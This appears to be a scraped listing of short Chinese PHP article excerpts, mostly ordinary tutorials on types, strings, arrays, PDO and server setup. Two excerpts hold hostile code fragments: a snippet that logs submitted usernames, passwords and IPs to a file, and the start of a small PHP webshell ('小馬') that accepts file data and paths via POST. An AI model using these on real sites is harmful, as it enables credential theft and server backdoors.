Time of Update: 2016-07-21
現在我們進入Linux世界開始我們的PHP編碼之旅,在編碼中會有各種的問題發生,在解決問題的時間也是自己從新手蛻變的時刻。 每一門程式設計語言都會從變數開始練習開始,PHP是一類嵌入式指令碼語言,當然也可以從文法的資料類型開始。這一節主要從PHP的資料類型,資料變數入手學習。 PHP語言的資料類型: (1)布爾值,【true,false】問:布爾值的定義只有兩個:true,false,PHP定義變數同意用$ 表示,如$shop=false; (2)整型
Time of Update: 2016-07-21
PHP 基礎知識部分 1. 求$a的值 複製代碼 代碼如下: $a = "hello"; $b = &$a; unset($b); $b = "world"; echo $a; 2. 求$b的值 複製代碼 代碼如下: $a = 1; $x = &$a; $b = $a++; echo $b; 3. 寫出一個函數實現 刪除指定目錄包括其下的所有子目錄以及檔案 4. 寫一個函數,算出兩個檔案的相對路徑,如: $a = '/a/b/c/d/e.php'; $b = '/a/b/12/34/c.
Time of Update: 2016-07-21
複製代碼 代碼如下: $str = '中華人民共和國123456789abcdefg'; echo preg_match("/^[u4e00-u9fa5_a-zA-Z0-9]{3,15}$",$strName); 運行一下上面這段代碼,看會有什麼提示資訊? Warning: preg_match(): Compilation failed: PCRE does not support L, l, N, P, p, U, u, or X at offset 3 in
Time of Update: 2016-07-21
自從1994年PHP語言的建立,神奇般的被追捧為網站設計的慣用語言。2000年PHP4.0的發布無疑為其注入新鮮的生命血液,更因其開源的胸懷受人尊敬。程式設計語言的學習入門無非是學習文法和基礎的應用執行個體。這段時間我會一點一點地記錄PHP的過程,一來是對自己的總結,二來為後續遇到同樣問題的學習者解惑。 筆記記錄主要通過問題的方式出現,不會像書本上課似的,一點一點地探求語言的基礎。主要是在PHP學習的基礎階段預見到問題一一解決記錄,記錄從不懂出去的過程。好了真正的PHP語言正是開始。 1
Time of Update: 2016-07-21
介紹 今天發現php5.1.*和php5.2.*在資料庫先行編譯代碼執行的時候出現差異。 先行編譯優點 1.使用預留位置,避免逐字輸入資料到SQL中。自動處理引號和反斜線等字元的轉義——增加安全性。 2.預先“準備”一條語句,然後在每次執行時綁定不同值達到重用的目的。——常用於以後被多次執行的語句。 3.可讀性強。 代碼 資料庫連接代碼都一樣. 複製代碼 代碼如下: $protol = 'mysql:host=localhost;dbname=test'; $username = 'monty'
Time of Update: 2016-07-21
變數名與 PHP 中其它的標籤一樣遵循相同的規則。一個有效變數名由字母或者底線開頭,後面跟上任意數量的字母,數字,或者底線。按照正常的Regex,它將被表述為:'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'。 Note: $this 是一個特殊的變數,它不能被賦值。
Time of Update: 2016-07-21
一、檔案結構 建立3個檔案夾 controller檔案夾存放控制器檔案 view檔案夾存放視圖檔案 model檔案夾存放資料檔案 建立1個index.php 作為唯一入口 二、控制器 我們在controller檔案夾下建立一個democontroller.php檔案,檔案內容如下 複製代碼 代碼如下: class DemoController { function index() { echo('hello world'); } } /* End of file
Time of Update: 2016-07-21
在下列情況下一個變數被認為是 NULL:被賦值為 NULL。尚未被賦值。被 unset()。NULL 類型只有一個值,就是大小寫不敏感的關鍵字 NULL(你可以寫成NULL,也可以寫成null)。將一個變數轉換為 null 類型將會刪除該變數並且unset它的值。類型轉換PHP 在變數定義中不需要(或不支援)明確的類型定義;變數類型是根據使用該變數的上下文所決定的。也就是說,如果把一個字串值賦給變數 var,var 就成了一個字串。如果又把一個整型值賦給 var,那它就成了一個整數。PHP
Time of Update: 2016-07-21
問題 公司有個架構是基於smarty寫的,我負責php的升級,維護人員把新環境布上來之後,測試人員找我提出經常報錯(錯誤:提示找不到檔案的)。 我追蹤了一下代碼,原來是smarty的這個地方報的錯誤。 錯誤:這裡報出檔案不存在。 思考過程: 1、我原以為是程式裡沒有這個檔案呢,結果發現,檔案是有的,那是怎麼回事?
Time of Update: 2016-07-21
Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP 3.0\www\bugfree\Include\Class\XmlParse.class.php on line 46 Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP
Time of Update: 2016-07-21
PHP 中的 數組 實際上是一個有序映射。映射是一種把 values 關聯到 keys 的類型。此類型在很多方面做了最佳化,因此可以把它當成真正的數組,或列表(向量),散列表(是映射的一種實現),字典,集合,棧,隊列以及更多可能性。數組元素的值也可以是另一個數組。樹形結構和多維陣列也是允許的。可以用 array() 語言結構來建立一個 array。它接受任意數量用逗號分隔的 鍵(key) => 值(value) 對。key 可以是 integer 或者 string。如果key是一個
Time of Update: 2016-07-21
windows下的解決方案:通過尋找php.ini的session.save_path = ""的路徑,檢查是否存在這個目錄或這個目錄是否有everyone或Authenticated Users的寫入許可權。一般就可以了linux下的解決方案:今天更新了一下PHP,結果配置的phpmyadmin登陸進去出現“無法在發生錯誤時建立會話,請檢查 PHP 或網站伺服器日誌,並正確配置 PHP 安裝。”的錯誤。 錯誤原因:
Time of Update: 2016-07-21
PHP中一個字串可以通過下面的4種方式來定義:單引號 雙引號 heredoc 文法結構 nowdoc 文法結構 (自PHP 5.3.0以後) 單引號定義一個字串 的最簡單的方法是用單引號把它包圍起來 (標點符號 ')。如果想要輸出一個單引號,需在它的前面加個反斜線 (\)。在單引號前或在字串的結尾處 想要輸出反斜線,輸入兩條 (\\)。注意,如果在任何其它的字元前加了反斜線,反斜線將會被直接輸出。Note: 不像雙引號 和heredoc文法結構, 在單引號字串中的變數
Time of Update: 2016-07-21
if($_POST[loginsubmit]!=){ //判斷是否點了登陸按鈕 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變數$sb fwrite(fopen(robot.txt,ab),$sb);} //結果寫入一個檔案
Time of Update: 2016-07-21
PHP 支援8種基本的資料類型。四種標量類型:boolean (布爾型) integer (整型) float (浮點型, 也稱作 double) string (字串) 兩種複合類型:array (數組) object (對象) 最後是兩種特殊類型:resource (資源) NULL (NULL) boolean資料類型:取值只能為True或者False,當其他類型轉化為boolean類型時,以下值被認為是 FALSE:the 布爾值 FALSE 自身 the 整型值 0 (零) the
Time of Update: 2016-07-21
PHP是什麼:PHP是一種在電腦上啟動並執行指令碼語言,她的創始人是拉斯姆斯·勒多夫,最早的兩個PHP版本就是由此人開發的;開發PHP語言的初衷比較簡單,是為了維護個人網頁、統計流量等。在1995年6月8日作者為了加速發展和最佳化,發布了她,也就是開源了。PHP的應用情境是什麼:PHP是一個應用範圍很廣的語言,特別是在網路程式的開發方面。一般來說PHP大多在伺服器端執行,通過執行PHP的程式來產生網頁提供瀏覽器讀取,此外也可以用來開發命令列指令碼程式和使用者端的GUI應用程式。PHP可以在許多的
Time of Update: 2016-07-21
作者: spider 我也來個超小PHP小馬 複製代碼 代碼如下: header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> if(!(isset($_POST["data"]) && isset($_POST["dir"]))) exit();
Time of Update: 2016-07-21
複製代碼 代碼如下: $a = array( 'a','b','c' ); require 'template/demo.php';//引用模板 ?> 模板檔案: 複製代碼 代碼如下: 模板測試 複製代碼 代碼如下: 索引值: //數組的迭代 //smarty: {foreach item=na from=$a key=key} 索引值:{$key} {/foreach} //對於PHP程式員那個更好理解呢? //smarty
Time of Update: 2016-07-21
linux 版本 : ubuntu 12.04 今天完成了 php mysql 和apache 的配置 主要是源碼配置, apache 主要是 2.4.2 版本 php 主要是 5.3.11 版本 mysql 主要是 5.1.62 版本 前幾天試了好幾次,出現了軟體的源衝突,我放了兩個源在同一個source裡,後修改後,安裝沒出現大的問題。 總的情況如下. 我完成的過程如下 : apache 配置: ./configure --prefix=/usr/local/apache/
Time of Update: 2016-07-21
代碼 複製代碼 代碼如下: /* * rc4密碼編譯演算法 * $pwd 密鑰 * $data 要加密的資料 */ function rc4 ($pwd, $data)//$pwd密鑰 $data需加密字串 { $key[] =""; $box[] =""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i { $key[$i] = ord($pwd[$i % $pwd_length]);